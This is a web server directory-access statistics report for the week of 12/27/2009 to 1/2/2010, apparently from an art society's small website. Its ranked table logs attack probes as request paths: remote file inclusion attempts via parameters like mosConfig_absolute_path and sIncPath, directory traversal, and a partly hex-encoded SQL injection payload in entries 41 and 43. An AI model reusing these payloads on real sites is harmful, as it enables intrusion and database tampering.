Directories Report

Week of 12/27/2009 to 1/2/2010

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 23,435 60.47 276,667,570 65.22 826 17.41
2 [ /season] 9,391 24.23 54,329,449 12.81 1,285 27.09
3 [ /Templates] 2,022 5.22 1,602,268 0.38 727 15.32
4 [ /stats] 1,321 3.41 4,299,841 1.01 104 2.19
5 / 1,228 3.17 23,967,852 5.65 862 18.17
6 [ /webstats] 262 0.68 692,859 0.16 237 5.00
7 [ /pdfs] 235 0.61 45,049,477 10.62 199 4.19
8 /SASregistration.htm 95 0.25 3,227,841 0.76 93 1.96
9 [ /?sIncPath=http:] 84 0.22 2,037,252 0.48 0 0.00
10 [ /?_SERVER[DOCUMENT_ROOT]=http:] 79 0.20 1,915,987 0.45 0 0.00
11 /index.htm 68 0.18 1,422,336 0.34 67 1.41
12 /SAScontact.htm 66 0.17 985,422 0.23 66 1.39
13 /SASabout.htm 58 0.15 1,108,589 0.26 58 1.22
14 [ /galleries] 57 0.15 48,469 0.01 11 0.23
15 /SASfosas.htm 49 0.13 1,016,640 0.24 49 1.03
16 /SASgallery.htm 48 0.12 950,313 0.22 48 1.01
17 /SASscholarship.htm 41 0.11 611,884 0.14 41 0.86
18 /SASlinks.htm 38 0.10 451,582 0.11 38 0.80
19 [ /?_zb_path=http:] 32 0.08 776,096 0.18 0 0.00
20 /SASnewsletter.htm 32 0.08 447,220 0.11 32 0.67
21 [ /?view=page&pagename=http:] 25 0.06 606,325 0.14 0 0.00
22 [ /?custompluginfile[]=http:] 16 0.04 388,048 0.09 0 0.00
23 [ /?mosConfig_absolute_path=http:] 15 0.04 363,795 0.09 0 0.00
24 [ /?sourcedir=http:] 6 0.02 145,518 0.03 0 0.00
25 [ /?_zb_path=..] 4 0.01 97,012 0.02 0 0.00
26 [ /?page=http:] 4 0.01 97,012 0.02 0 0.00
27 [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] 3 0.01 72,759 0.02 0 0.00
28 /?> 2 0.01 24,253 0.01 0 0.00
29 [ /?DOCUMENT_ROOT=http:] 2 0.01 48,506 0.01 0 0.00
30 [ /?_SERVER[DOCUMENT_ROOT]=..] 2 0.01 48,506 0.01 0 0.00
31 /?citysearch_profile_view=1&profile_id=41271045 2 0.01 0 0.00 0 0.00
32 [ /?custompluginfile=http:] 2 0.01 48,506 0.01 0 0.00
33 [ /?mosConfig_absolute_path= http:] 2 0.01 48,506 0.01 0 0.00
34 [ /?mosConfig_absolute_path=..] 2 0.01 48,506 0.01 0 0.00
35 [ /?option=com_content&task=&sectionid=&id=&mosConfig_absolute
_path=http:]
2 0.01 48,506 0.01 0 0.00
36 [ /?path[docroot]= http:] 2 0.01 48,506 0.01 0 0.00
37 [ /?zb_path=http:] 2 0.01 48,506 0.01 0 0.00
38 /. 1 0.00 24,253 0.01 1 0.02
39 [ /? view=page&pagename=http:] 1 0.00 24,253 0.01 0 0.00
40 /?';DECLARE 1 0.00 24,253 0.01 0 0.00
41 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,253 0.01 0 0.00
42 /?;DECLARE 1 0.00 24,253 0.01 0 0.00
43 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732@S);
1 0.00 24,253 0.01 0 0.00
44 [ /?GLOBALS[mosConfig_absolute_path]=http:] 1 0.00 24,253 0.01 0 0.00
45 /?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&concept=standa
rd&query=Sharon art studio&cbid=
1 0.00 24,253 0.01 0 0.00
46 [ /?cmd&file=http:] 1 0.00 24,253 0.01 0 0.00
47 /?foiffs=in100fweg 1 0.00 24,253 0.01 0 0.00
48 [ /?id=http:] 1 0.00 24,253 0.01 0 0.00
49 [ /?language_id=http:] 1 0.00 24,253 0.01 0 0.00
50 /?leisurelog.com 1 0.00 24,253 0.01 0 0.00
51 /?p=40148 1 0.00 0 0.00 0 0.00
52 /?path[docroot]= 1 0.00 24,253 0.01 0 0.00
53 /?php=http://www.nglschool.co.kr 1 0.00 24,253 0.01 0 0.00
54 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,253 0.01 0 0.00
55 [ /?sincpath=http:] 1 0.00 24,253 0.01 0 0.00
56 [ /?view=page&pagename= http:] 1 0.00 24,253 0.01 0 0.00